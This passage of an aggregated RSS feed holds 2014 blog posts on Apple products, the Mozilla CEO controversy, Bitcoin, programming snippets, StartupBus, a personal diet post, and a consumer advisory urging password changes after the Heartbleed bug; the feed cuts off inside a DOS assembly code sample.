&lt;p style="color: #0b1902;"&gt;Now all we have to do is translate ALL the things!&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 12 Apr 2014 14:12:59 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/04/12/final-week/</guid></item><item><title>Last Sacrifice (Vampire Academy, #6)</title><link>https://apurva-shukla.me/bookshelf/last-sacrifice-vampire-academy-6/</link><description>⭐ ⭐ ⭐ ⭐ This series was incredible, and I loved all the twists and turns. But I was surprised to see that this particular book didn’t…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Sat, 12 Apr 2014 10:00:00 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/last-sacrifice-vampire-academy-6/</guid></item><item><title>Let's Talk About the 5C</title><link>https://zacs.site/blog/lets-talk-about-the-5c.html</link><description>&lt;p&gt;Continuing to riff on Brian Hall&amp;#8217;s recent piece for Tech.pinions, &lt;a href="http://techpinions.com/you-blow-my-mind-o-satya-o-satya/29137"&gt;Panic Inside Apple and Cheers for Satya&lt;/a&gt;, that I linked to in &lt;a href="https://zacs.site/blog/nowatch.html"&gt;my last post&lt;/a&gt;, I want to spend some time talking about another topic of his article: the iPhone 5C. Lately there seems to have been a great deal of talk about the 5C as a failed product that missed the target Apple set out for it by a gross and (apparently) indicative-of-impending-doom margin. I could not disagree more, though; and in fact, I would go so far as to say that every piece painting such a bleak picture belies the author&amp;#8217;s fundamental misunderstanding of exactly what the 5C was and was &lt;em&gt;not&lt;/em&gt; created for.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/lets-talk-about-the-5c.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 12 Apr 2014 00:09:50 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/lets-talk-about-the-5c.html</guid></item><item><title>noWatch</title><link>https://zacs.site/blog/nowatch.html</link><description>&lt;p&gt;I&amp;#8217;m going to violate &lt;a href="https://zacs.site/blog/owning-their-words.html"&gt;my cardinal rule of not using a pull-quote&lt;/a&gt; for this article by Brian S. Hall, for to simply point you at his recent piece for Tech.pinions and expect you to grasp the pertinent thread out of the three near-disparate topics within would be a fool&amp;#8217;s errand. Although ostensibly about Microsoft, more accurately yet another critique of the 5C, and with a tired subtext of the usual &amp;#8220;Apple is doomed&amp;#8221;, I see no other recourse but to hand you the appropriate portion on a silver platter. From &lt;a href="http://techpinions.com/you-blow-my-mind-o-satya-o-satya/29137"&gt;Panic Inside Apple and Cheers for Satya&lt;/a&gt;, then:&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/nowatch.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 11 Apr 2014 11:06:00 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/nowatch.html</guid></item><item><title>Self executing anonymous function in Powershell</title><link>https://daniellittle.dev/self-executing-anonymous-function-in-powershell</link><description>One of the great features of JavaScript is the self-executing anonymous function. It's extremely useful because you can avoid polluting the…</description><author>Daniel Little Dev</author><pubDate>Fri, 11 Apr 2014 05:40:27 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/self-executing-anonymous-function-in-powershell</guid></item><item><title>A Brief Naval-Gaze</title><link>https://zacs.site/blog/a-brief-naval-gaze.html</link><description>&lt;p&gt;Turns out, vanity searches pay off: earlier this evening, my girlfriend pointed an article out to me of particular interest. Writing for Fast Company Labs, Jenna Kagel published &lt;a href="http://www.fastcolabs.com/3024517/inside-one-bloggers-plan-to-make-money-without-hideous-ads"&gt;Inside One Blogger&amp;#8217;s Plan To Make Money Without Hideous Ads&lt;/a&gt; on January seventh of this year, where she recounted my plans to take this site from a cost center to a profitable enterprise detailed in &lt;a href="https://zacs.site/blog/doing-monetization-well.html"&gt;Doing Monetization Well&lt;/a&gt;. To me, to have a site so popular and widely-respected as Fast Company post an article about something &lt;em&gt;I&lt;/em&gt; wrote and posted to &lt;em&gt;my&lt;/em&gt; site, that&amp;#8217;s just awesome; so very cool.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/a-brief-naval-gaze.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 11 Apr 2014 01:32:14 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/a-brief-naval-gaze.html</guid></item><item><title>Custom Homescreen Icons with Pythonista</title><link>http://olemoritz.net/custom-homescreen-icons-with-pythonista.html</link><description>&lt;p&gt;This is so cool. Back when I used to write exclusively on my iPad, I nearly did this so that I could copy a finished article to my clipboard, and then simply tap on a home screen icon to publish it using Pythonista rather than opening the app as an intermediary step between creation and pushing it up to my server. Then I got my MacBook Pro, though, and it became my primary writing device. I doubt this will remain the case forever, so I plan on keeping this one in my back pocket.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://olemoritz.net/custom-homescreen-icons-with-pythonista.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 10 Apr 2014 18:02:33 GMT</pubDate><guid isPermaLink="true">http://olemoritz.net/custom-homescreen-icons-with-pythonista.html</guid></item><item><title>Photos from JSConf AU 2014</title><link>http://persumi.com/u/fredwu/tech/e/blog/p/photos-from-jsconf-au-2014</link><description/><author>Fred Wu (@fredwu)</author><pubDate>Thu, 10 Apr 2014 15:09:00 GMT</pubDate><guid isPermaLink="true">http://persumi.com/u/fredwu/tech/e/blog/p/photos-from-jsconf-au-2014</guid></item><item><title>Bitcoin Is Pointless as a Currency, But It Could Change the World Anyway</title><link>http://www.wired.com/2014/03/bitcoin-currency_martin/</link><description>&lt;p&gt;Despite it&amp;#8217;s oxymoron of a title, this is a great piece by Felix Martin for Wired drawing some interesting parallels between Bitcoin and the monetary system of sixteenth-century Europe. Bitcoin has enjoyed a great deal of support up until now, but the jury is still out as to whether it will turn in to a viable, stable currency or go down in history as a somewhat lengthy flash in the pan. Hopefully, though, for the reasons Felix laid out in his conclusion, Bitcoin will.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.wired.com/2014/03/bitcoin-currency_martin/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 10 Apr 2014 14:21:10 GMT</pubDate><guid isPermaLink="true">http://www.wired.com/2014/03/bitcoin-currency_martin/</guid></item><item><title>The Culture of Shut Up</title><link>http://www.theatlantic.com/politics/archive/2014/04/the-culture-of-shut-up/360239/</link><description>&lt;p&gt;Fantastic article by Jon Lovett at The Atlantic, where he writs about the power of free speech particularly with regards to internet culture. In my mind, these two issues have &lt;a href="https://zacs.site/blog/discrimination-comes-full-circle.html"&gt;collided&lt;/a&gt; and &lt;a href="https://zacs.site/blog/palpable-irony.html"&gt;come to a head&lt;/a&gt; recently with the resignation of Mozilla&amp;#8217;s CEO Brendan Eich: given the political nature of the reasons Eich lost his job, I have seen a great number of people on both sides of the issue speak up, out, and often vilify each other. And that&amp;#8217;s not helping anyone at all.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.theatlantic.com/politics/archive/2014/04/the-culture-of-shut-up/360239/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 10 Apr 2014 13:10:27 GMT</pubDate><guid isPermaLink="true">http://www.theatlantic.com/politics/archive/2014/04/the-culture-of-shut-up/360239/</guid></item><item><title>The Failures of Technology(?)</title><link>https://zacs.site/blog/the-failures-of-technology.html</link><description>&lt;p&gt;After I posted &lt;a href="https://zacs.site/blog/a-question-of-value.html"&gt;A Question of Value&lt;/a&gt; the other day, where I talked about some important questions to ask when evaluating the plausibility of a smart watch as a viable future device category, Linus Edwards sent me a link to a very interesting and thought-provoking piece of his from July of 2013 titled &lt;a href="http://vintagezen.com/zen/2013/7/25/where-did-the-time-go"&gt;Where Did The Time Go? The Failures Of Technology&lt;/a&gt;. Part of the reason I found it so noteworthy, though, is because I disagree with it so strongly: I disagree with his statement that &amp;#8220;In terms of design, most computing devices, programs, operating systems, and websites are not designed to simplify people&amp;#8217;s lives, but rather make people more and more reliant on those computing devices, programs, operating systems, and websites.&amp;#8221; He lumped all these very different mediums together and categorically condemned all of them for the more pronounced shortcoming of one or two, a process that I feel he used to form the erroneous conclusion that he then wrote his article in service of.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-failures-of-technology.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 10 Apr 2014 10:58:55 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-failures-of-technology.html</guid></item><item><title>2014-04-10</title><link>https://ho.dges.online/pictures/2014-04-10/</link><description/><author>ho.dges.online</author><pubDate>Thu, 10 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-04-10/</guid></item><item><title>And Today, the Irony was Palpable</title><link>https://zacs.site/blog/palpable-irony.html</link><description>&lt;p&gt;Merlin Mann once said that when he was seventeen years old, he felt his sole job in the world was to expose all hypocrisy. At the time, at seventeen myself, I laughed; however, a couple of years later the same thing has become true of myself: very few things annoy me as much as hypocrisy these days, and the very closely-related phenomenon of the double standard drives me insane. Today, in a fantastically ironic turn of events that came to my attention through &lt;a href="http://blog.sfgate.com/techchron/2014/04/08/okcupid-ceo-once-donated-to-anti-gay-politician/"&gt;an article on SFGate&lt;/a&gt;, &lt;a href="http://uncrunched.com/2014/04/06/the-hypocrisy-of-sam-yagan-okcupid/"&gt;UnCrunched discovered that OkCupid&amp;#8217;s CEO, Sam Yagan&amp;#160;&amp;#8212;&amp;#160;one of the most vocal critics of Brendan Eich&amp;#160;&amp;#8212;&amp;#160;once supported a congressman known for his huge opposition of anything to do with homosexuals&lt;/a&gt;. The same man who played such a pivotal role in the ruin of Brendan Eich&amp;#8217;s career, claiming that his support of California&amp;#8217;s Proposition 8 nearly a decade ago made him an abhorrent individual unfit to lead Mozilla, supported a congressional candidate that &lt;em&gt;goes even farther than Proposition 8 did&lt;/em&gt;. Absolutely incredible.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/palpable-irony.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 09 Apr 2014 12:24:25 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/palpable-irony.html</guid></item><item><title>Narrative over Facts</title><link>https://zacs.site/blog/narrative-over-facts.html</link><description>&lt;p&gt;Last week Ben Thompson recommended that &lt;a href="https://zacs.site/blog/ben-thompson-on-the-future-of-news-and-newspapers.html"&gt;anyone who enjoyed his three-part series on the future of news and newspapers&lt;/a&gt; check out Nieman Journalism Lab&amp;#8217;s latest report on the state of news media in 2014. For anyone interested, here&amp;#8217;s the link: &lt;a href="http://www.niemanlab.org/2014/03/new-technology-new-money-new-newsrooms-old-questions-the-state-of-the-news-media-in-2014/"&gt;&lt;em&gt;New technology, new money, new newsrooms, old questions: The State of the News Media in 2014&lt;/em&gt;&lt;/a&gt;; at the time, I was: I promptly saved the essay to Instapaper and eagerly awaited reading it. However, a little more than a week later, I got through the first two paragraphs before completely losing interest. Yet, ten days prior I read more than three thousand words on this subject, spread across three different articles. What changed?&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/narrative-over-facts.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 09 Apr 2014 11:10:39 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/narrative-over-facts.html</guid></item><item><title>About</title><link>https://blog.herlein.com/projects/</link><description>Projects These are projects that are basically abandoned right now. I wish I had more time for them!
GoNetMon - Network use visualization writting in GoLang, using Prometheus and Kibana
ouilookup - CLI tool written in go to look up the vendor for a given MAC address
PiBlaster-MQTT - port of PiBlaster to use MQTT instead of a local charachter device
goxb_mqtt - native go code that reads from an XBox(tm) controller (using libusb) and sends events over MQTT</description><author>Greg Herlein</author><pubDate>Wed, 09 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.herlein.com/projects/</guid></item><item><title>It adds up</title><link>http://dimitarsimeonov.com/2014/04/09/it-adds-up</link><description>&lt;p&gt;It adds up… just like the way compound interest snowballs over time, small differences in affordable freedoms add up to big advantages and disadvantages. A person with more freedoms has better and better chance of having a good and successful life than a person with less freedoms.&lt;/p&gt;

&lt;p&gt;We live in a world where some birth characteristics such as skin color cannot be used legally for discrimination. But other birth characteristics such as nationality can be used, and are used every day for discrimination. Fighting this discrimination everyday takes a lot of effort. Effort that could otherwise be spent on improving quality of life, education, or taking advantage of opportunities. Over time the extra effort adds up.&lt;/p&gt;

&lt;p&gt;A foreigner needs to be ten times better than the locals in order to succeed. One time to be competent, and nine times to keep on proving themselves over and over and over, to keep on jumping over beurocratic and societal hurdles.
Often the local citizens treat foreigners with the same humanity and compassion that they treat other citizens. However, the legal and beaurocratic system is often designed only with local citizens in mind. The hurdles it presents to foreigners decimate the foreigners output. Often, it takes a lot of extra time, money and effort just to do basic things.&lt;/p&gt;

&lt;p&gt;Additionally a foreigner must be ten times more careful not to make a mistake, as mistakes are more costly. Every mistake can jeopardize the foreigner’s status. Such mistakes could be for example minor legal violations, but also errors stemming from the complicatedness of the legal system.&lt;/p&gt;

&lt;p&gt;Some would say that this discrimination is due to lower trust towards foreigners. Foreigners and immigrants might have different objectives at hearth than the local citizens. Therefore, they should be trusted less because they simply want to take advantage of the honest hardworking people in country. But… really? Nationality is just a signal that we emit to others, so that they can decide how much to trust us. But such signals are also education, achievement, monetary worth, health, age, languages spoken, sexual orientation, clothing, deeds, emotions etc.&lt;/p&gt;

&lt;p&gt;Currently there are regulations how these signals can and can’t be used to discriminate. For example, education and skills can be used to discriminate on hiring for a given position but cannot be used to discriminate the voting power of an individual. Age be used to discriminate voting power, or eligibility to drive a car, or to run for certain government offices, but on the other hand could provide certain protections as well. At their best intentions, such regulations and discriminations aim to provide a more productive, robust and organized society.&lt;/p&gt;

&lt;p&gt;Nationality is a discriminator mostly for historical reasons. There are wars around the world now, and there were even more wars in the past. And wars are usually one country fighting against another. There are no wars of old vs young, of people who wear clean clothes versus the dirty people, of the ones who can drive vs the ones who cannot drive. However, there were other conflicts, of rich vs poor, of educated versus uneducated, of old versus new generation. Often times, the stronger the conflict, the stronger the resulting discrimination, as conflicts and lack of trust add to each other, and lack of trust adds to discrimination.&lt;/p&gt;

&lt;p&gt;Nationality is the most fierce discriminator. While race has justly been removed from the legal discriminators, nationality still remains. When you are an alien, the presumption of being innocent until proven otherwise doesn’t hold any more. The things that are one is allowed to do are prescribed, and it is unlawful to do stuff beyond what you’re prescribed.&lt;/p&gt;

&lt;p&gt;As a foreigner I am paying hostility debt. The depth is accumulated over decades of unfriendly diplomacy, before I was born. Hostility debt is accumulated pretty similar to they way technical debt in software engineering, or pretty much any debt is accumulated. By deciding “Hey, I’m gonna do this thing now because it serves my short term interestes even though it is bad diplomacy/creates unmaintainable code/costs more money than I have in the bank.” To pay it off we have to put money asside, refactor code, or show good will.&lt;/p&gt;

&lt;p&gt;The daily payments are tough, but I hope to be able to pay off enough of this debt, at least to the point where my personal balance is zero. But I hope I also have the opportunity to pay forward some of the debt for others. Foreigners can pay historical debt through contributions and through diplomacy and negotiation. Locals can help by supporting legal changes that reduce the handicaps imposed on the foreigners.&lt;/p&gt;

&lt;p&gt;I hope debt payments can also add up.&lt;/p&gt;</description><author>D13V</author><pubDate>Wed, 09 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2014/04/09/it-adds-up</guid></item><item><title>What you need to know about April 7 and your security on the web.</title><link>/2014/04/08/What-you-need-to-know-about-April-7-and-your-security-on-the-web./</link><description>&lt;!-- raw HTML omitted --&gt;
&lt;ul&gt;
&lt;li&gt;Yahoo&lt;/li&gt;
&lt;li&gt;Amazon.com&lt;/li&gt;
&lt;li&gt;Netflix&lt;/li&gt;
&lt;li&gt;Various banks&lt;/li&gt;
&lt;li&gt;Many more&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you&amp;rsquo;re interested in more technical details you can &lt;a href="http://www.heartbleed.com"&gt;follow along&lt;/a&gt; or on the &lt;a href="https://blog.heroku.com/archives/2014/4/8/openssl_heartbleed_security_update"&gt;Heroku blog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The short of it is you, yes you as in everyone, should rotate your passwords once all websites are safe. For further details please continue reading.&lt;/p&gt;
&lt;h3 id="what-does-the-vulnerability-mean"&gt;
&lt;div&gt;
What does the vulnerability mean
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt; In this case it allowed an external party to acquire a moderate amount of data from some computer running your website. Extremely clear examples (such as shown on the right) highlight an example of random third parties easily acquiring most recently logged in Yahoo mail usernames and passwords.&lt;/p&gt;
&lt;h3 id="the-first-step"&gt;
&lt;div&gt;
The first step
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;The first step in resolving this is actually not a step required by you at all, unless you&amp;rsquo;re running a production website online. The first step requires the developers running the site to update their site so they are no longer vulnerable. This as available to happen as early as April 7, and many major sites were fully updated and again safe as of April 8.&lt;/p&gt;
&lt;h3 id="still-area-for-concern"&gt;
&lt;div&gt;
Still area for concern
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;With security vulnerabilities there are two key things to consider. First is the vulnerability itself, second is whether its therotical or can be simply acted upon. Yes, there&amp;rsquo;s a range here. One of the most unfortunate pieces from talking to those that know about security is this was extremely trivial to act upon.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This is made even worse in that this vulnerability has existed for 2 years without many knowing about it, meaning people have had an ability to snoop and collect parts of your data for two years&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="what-to-do"&gt;
&lt;div&gt;
What to do?
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;First things first, be extremely cautious with any major website you connect with anything important. Any account that you have a password and you care about the account you should cease logging into it &lt;strong&gt;until you know its safe&lt;/strong&gt;. As of the morning of April 8 here is a &lt;a href="https://gist.github.com/dberkholz/10169691"&gt;list of sites that were safe and ones that were vulnerable&lt;/a&gt;. You can check any site today &lt;a href="http://filippo.io/Heartbleed/"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once it&amp;rsquo;s clear that a site you know is now updated and safe either via that list of the latter tool you should change your password. For the time that this has existed and ease of comprimising its safe to assume all of your internet passwords and data within those accounts could have been comprimised. This means any website you have logged into within the last two years you should change the password for. Changing your passwords limits anyone being able to access that again.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I am not a security expert or analyst, but have heavily interacted with many that are in dealing with this incident. This advice is high level intended at non technical experts, if you have any questions or feedback please let me know on twitter &lt;a href="http://www.twitter.com/craigkerstiens"&gt;@craigkerstiens&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Tue, 08 Apr 2014 23:55:56 GMT</pubDate><guid isPermaLink="true">/2014/04/08/What-you-need-to-know-about-April-7-and-your-security-on-the-web./</guid></item><item><title>Why I Eat Bacon Every Day (And You Should Too)</title><link>https://josh.works/why-i-eat-bacon-every-day-and-you-should-too</link><description>&lt;p&gt;&lt;em&gt;note: as of late 2017, I’ve rolled over to a mostly vegetarian diet. I still love meat, but don’t feel comfortable eating it, for ethical reasons. I still believe that, on a whole, bacon is good for you, and I still eat veggies and many eggs every day. I just don’t eat bacon or other kinds of meat, except very occasionally. I’m leaving the rest of this post unedited for posterity’s sake.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I love breakfast.&lt;/p&gt;

&lt;p&gt;Almost every morning for the last three years &lt;strong&gt;I have had a frying pan full of bacon, and three eggs&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;There are plenty of reasons I do this. Every one knows protein is good for you. But that fat… that grease. That cholesterol. I’m going to die young, right?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I don’t think so.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before you dismiss me out of hand, just look through two articles.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.nerdfitness.com/blog/2013/02/19/the-definitive-guide-to-bacon/"&gt;The Definitive Guide to Bacon&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.artofmanliness.com/2013/01/18/how-to-increase-testosterone-naturally/"&gt;Art of Manliness “Boost Your Testosterone - Naturally”&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I won’t go into it all here, but know this: &lt;strong&gt;There is a group of intelligent, scientifically literate people who believe it is good for you to eat bacon and eggs every day.&lt;/strong&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Tue, 08 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/why-i-eat-bacon-every-day-and-you-should-too</guid></item><item><title>Hello World!!</title><link>https://trigonaminima.github.io/2014/04/hello-world/</link><description>Hello World!!</description><author>Playground</author><pubDate>Tue, 08 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2014/04/hello-world/</guid></item><item><title>How You, I, and Everyone are Still Getting the Top 1 Percent All Wrong</title><link>http://www.theatlantic.com/business/archive/2014/03/how-you-i-and-everyone-got-the-top-1-percent-all-wrong/359862/</link><description>&lt;p&gt;I don&amp;#8217;t agree with the constant vilification of America&amp;#8217;s top 1&lt;code&gt;. Some call them &amp;#8220;captains of industry&amp;#8221;, others have much more choice combinations of nouns and verbs to describe the small subset of Americans that earn substantially more than everyone else&amp;#160;&amp;#8212;&amp;#160;the constantly marginalized 99&lt;/code&gt;&amp;#160;&amp;#8212;&amp;#160;as if they somehow did not deserve their hard-won success. This article from The Atlantic does not go as far to dispel that ridiculous notion as its title&amp;#160;&amp;#8212;&amp;#160;doctored above, originally &amp;#8220;How You, I, and Everyone Got the Top 1 Percent All Wrong&amp;#8221;&amp;#160;&amp;#8212;&amp;#160;might lead everyone to believe, but I guess it&amp;#8217;s a step in the right direction.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.theatlantic.com/business/archive/2014/03/how-you-i-and-everyone-got-the-top-1-percent-all-wrong/359862/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 07 Apr 2014 17:35:16 GMT</pubDate><guid isPermaLink="true">http://www.theatlantic.com/business/archive/2014/03/how-you-i-and-everyone-got-the-top-1-percent-all-wrong/359862/</guid></item><item><title>MCEdit Surface Circle Filter</title><link>https://joshuarogers.net/articles/2014-04/mcedit-surface-circle-filter/</link><description>Just wanted to share a quick MCEdit filter that I put together. Given a selection, this replaces the top layer of the perimeter circle with glowstone. On our server we use this to mark off private land borders so that people don't accidentally interfere with one another or set up camp on top of one another. Feel free to use it as you like.
from pymclevel.materials import alphaMaterials import math displayName = "Player Boundary" inputs = ( ) replacableblocks = [ alphaMaterials.</description><author>Joshua Rogers</author><pubDate>Mon, 07 Apr 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-04/mcedit-surface-circle-filter/</guid></item><item><title>A Question of Value</title><link>https://zacs.site/blog/a-question-of-value.html</link><description>&lt;p&gt;When small handheld computing devices went mainstream, they did so by &lt;a href="http://xkcd.com/1348/"&gt;replacing boredom&lt;/a&gt;. I recognize that this supposition seems rather reductive and perhaps more than a little stretched in pursuit of achieving comedic effect, but consider the situations many use their mobile devices in, and what they use them for: often, people employ the latest iteration of this category, smartphones, to stay boredom in a checkout line, provide an escape from the drudgery of a lengthy commute, or to avoid interacting with others in what could otherwise prove an awkward or otherwise unpleasant situation. Yes, there are other use cases&amp;#160;&amp;#8212;&amp;#160;communication, for example&amp;#160;&amp;#8212;&amp;#160;but the majority of those additional situations fall within one of the previously-described ones. Thus, the jobs consumers hire this category of computer to do has remained mostly constant throughout the short time period from going mainstream until now.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/a-question-of-value.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 07 Apr 2014 13:21:38 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/a-question-of-value.html</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-33114.html</link><description>&lt;p&gt;Another week, another seven days of spectacular podcasts. Maybe I&amp;#8217;m just biased, but this is my favorite medium in existence&amp;#160;&amp;#8212;&amp;#160;even more beloved than television, film, and&amp;#160;&amp;#8212;&amp;#160;yes, and&amp;#160;&amp;#8212;&amp;#160;writing. So sit back, relax on your commute for once, and tune in to some of the best podcasts on the internet.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-33114.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 06 Apr 2014 23:28:36 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-33114.html</guid></item><item><title>StartupBus NY 2014</title><link>https://michaelcarrano.com/blog/startupbus-ny-2014</link><description>&lt;p&gt;Recently, I participated in the 2014 StartupBus. I took a bus from New York City to San Antonio and then spent a few days in Austin for SXSW. I had an unforgettable experience and look forward to being active in the StartupBus community.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A simple way to explain StartupBus would be: A hackathon on steroids with lots of unknown side effects.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There are buses from all over the United States that compete in creating, developing and launching a startup, all within 72 hours while driving to San Antonio. Most people on the bus will meet for the first time on the morning the bus heads to San Antonio. Everyone on the bus will be given an opportunity to pitch their idea and afterwards, it is time to hustle and put together a winning team.&lt;/p&gt;

&lt;p&gt;The New York bus had five teams all working on interesting ideas and the one I worked on was &lt;a href="http://sttackapp.com/"&gt;Sttack&lt;/a&gt;. Sttack helps you simplify introductions between the amazing people in your personal network.&lt;/p&gt;

&lt;p&gt;I worked with four other incredible people that I had never met before until I got on the bus the morning we left. We all worked really well together and I think one of the benefits for our team was the fact that none of us had overlapping skill sets. We each knew exactly what parts of the project we were responsible for developing or designing and got to work right away.&lt;/p&gt;

&lt;p&gt;I was responsible for all the Android development and you can download the version that we released onto the &lt;a href="https://play.google.com/store/apps/details?id=com.sttack"&gt;Play Store&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;StartupBus has taught me a number of things about myself and these are lessons I will take with me into the future as I continue to work on Sttack and other side projects.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;When you are focused, you can get an incredible amount of work done.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;It is okay to cut corners when you are simply trying to put together an MVP of an idea.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;When you are with highly motivated people, it is easy to trust they will do their part.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I just want to thank the conductors of the bus, &lt;a href="https://twitter.com/NateCooper"&gt;Nate&lt;/a&gt; and &lt;a href="https://twitter.com/helloaliceng"&gt;Alice&lt;/a&gt; for being awesome the entire time and making sure we have nothing to worry about. I also want to thank my teammates for being awesome and working hard the entire time on the bus. Lastly, I want to thank the rest of the members on the bus, as well as, the larger &lt;a href="http://startupbus.com"&gt;StartupBus&lt;/a&gt; community for being amazing. It is truly an honor to be a part of an incredible group of talented individuals who love what they do.&lt;/p&gt;</description><author>Mobile Software Engineer in NYC.</author><pubDate>Sun, 06 Apr 2014 20:06:33 GMT</pubDate><guid isPermaLink="true">https://michaelcarrano.com/blog/startupbus-ny-2014</guid></item><item><title>Should I Continue Working As A Contractor Or Go Full-time?</title><link>https://www.financialsamurai.com/should-i-continue-working-as-a-contractor-or-go-full-time/</link><description>&lt;p&gt;As usual, an interesting article from Sam Dogen at Financial Samurai. Especially within this microcosm of independent app developers and writers, it has become so common to hear the story of a full-time employee striking out on his own that this piece nearly took me by surprise: rather than leaving his large company and setting up a one-man shop, Sam is considering returning to the corporate nine-to-five lifestyle he left in 2012. Even more interestingly, his reasons make a lot of sense. I would love to go independent at some point in my life, but there is certainly some appeal to being a corporate stooge.&lt;/p&gt;


                &lt;p&gt;&lt;a href="https://www.financialsamurai.com/should-i-continue-working-as-a-contractor-or-go-full-time/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 06 Apr 2014 13:02:10 GMT</pubDate><guid isPermaLink="true">https://www.financialsamurai.com/should-i-continue-working-as-a-contractor-or-go-full-time/</guid></item><item><title>DOS debugging quirk</title><link>http://blog.danieljanus.pl/dos-debugging-quirk/</link><description>&lt;div&gt;&lt;p&gt;While hacking on Lithium, I’ve noticed an interesting thing. Here’s a sample DOS program in assembly (TASM syntax):&lt;/p&gt;&lt;pre&gt;&lt;code class="hljs x86asm"&gt;&lt;span class="hljs-meta"&gt;.model&lt;/span&gt; tiny
&lt;span class="hljs-meta"&gt;.code&lt;/span&gt;
  org &lt;span class="hljs-number"&gt;100h&lt;/span&gt;

N &lt;span class="hljs-built_in"&gt;equ&lt;/span&gt; &lt;span class="hljs-number"&gt;2&lt;/span&gt;
&lt;span class="hljs-symbol"&gt;
start:&lt;/span&gt;
  &lt;span class="hljs-keyword"&gt;mov&lt;/span&gt; &lt;span class="hljs-built_in"&gt;bp&lt;/span&gt;,&lt;span class="hljs-built_in"&gt;sp&lt;/span&gt;
